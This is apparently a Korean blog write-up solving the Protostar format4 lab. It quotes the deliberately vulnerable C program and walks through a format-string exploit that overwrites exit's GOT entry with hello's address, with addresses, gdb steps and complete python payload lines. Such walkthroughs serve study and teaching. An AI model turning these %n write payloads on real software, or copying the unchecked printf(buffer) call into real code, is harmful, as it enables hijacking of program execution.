[Protostar] Format4
About
%p format4 looks at one method of redirecting execution in a process.
Hints
- objdump -TR is your friend
This level is at /opt/protostar/bin/format4
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int target;
void hello()
{
printf("code execution redirected! you win\n");
_exit(1);
}
void vuln()
{
char buffer[512];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
exit(1);
}
int main(int argc, char **argv)
{
vuln();
}
이번 문제는
printf(buffer)에서 포멧스트링버그가 발생한다.
exit(1)은 프로그램이 종료되도록 하는 코드인데
👉 exit함수의 got 주소를 hello함수 주소로 덮어쓰는 것이 이번 문제의 목표이다.
1. exit의 주소 구하기(got)
👉 exit의 plt주소에서 jmp하는 것이 got주소이기 때문에
* PLT는 외부 프로시저를 연결해주는 테이블로, PTL를 통해서 다른 라이브러리에 있는 프로시저를 호출할 수 있다. GOT란, PLT가 참조하는 테이블로, 프로시저들의 주소가 들어있다. PLT 호출하면 GOT로 점프하고, GOT에는 함수의 실제 주소가 쓰여 있다.
👉 0x8049724가 exit함수의 got주소인 것을 알 수 있다.
2. hello 함수 주소 구하기
👉 0x080484b4
3. 입력값으로 AAAA와 %x를 주어서 AAAA가 시작하는 곳을 찾는다.
👉 4번째에 나온다.
4. exit 주소를 0x080484b4로 바꾸는 방법에는 두가지가 있다.
1) 첫번째 방법 : %n전까지 공간을 0x8049724 (10진수 134,513,844)만큼의 공간을 주는 경우이다.
👉 단점은 시간이 오래걸린다.
134,513,844에서 - 주소길이4bytes- 8bytes*2 = 134,513,824
2) 두번째 방법 : 주소를 두 부분으로 나누어서 변조한 값을 넣어주는 방법이다.
0x8049724 | 0x8049726 |
84b4 | 0804 |
우선 gdb -q format4 로 파일을 열고나서
(gdb) b *vuln+61
breakpoint를 건다.
그리고 나서 다른 창에서 페이로드를 만들어서 저장을 해준다. (저장위치 : /tmp/payload)
echo $(python -c 'print "\x24\x97\x04\x08"+"AAAA"+"\x26\x97\x04\x08"+"%8x."*2+"%x.%n"+"%x.%n"') > /tmp/payload
0x8049724 부분
0x84b4 → 10진수 : 33972
기본 길이 : 주소(4bytes)+AAAA(4bytes)+주소(4bytes)+(%8x.*2) (9bytes*2) + .(1bytes) = 31bytes
33972 - 31 = 33,941
echo $(python -c 'print "\x24\x97\x04\x08"+"AAAA"+"\x26\x97\x04\x08"+"%8x."*2+"%33941x.%n"+"%x.%n"') > /tmp/payload
(gdb) run < /tmp/payload
(gdb) x/x 0x8049724
0x8049726 부분
이제 0x0804를 만들어 주어야 하는데 이미 그 크기를 넘었기 때문에
0x10804로 만들어 준다.
0x10804 → 10진수 : 67588 이다.
0x10804 - 0x84bd(기준에 들어 있는 수) + 8(전에 넣은 주소길이) = 10진수 : 33,615
$(python -c 'print "\x24\x97\x04\x08"+"AAAA"+"\x26\x97\x04\x08"+"%8x."*2+"%33941x.%n"+"%33615x.%n"') > /tmp/payload
(gdb) run < /tmp/payload
(gdb) x/x 0x8049724
continue하면, 성공!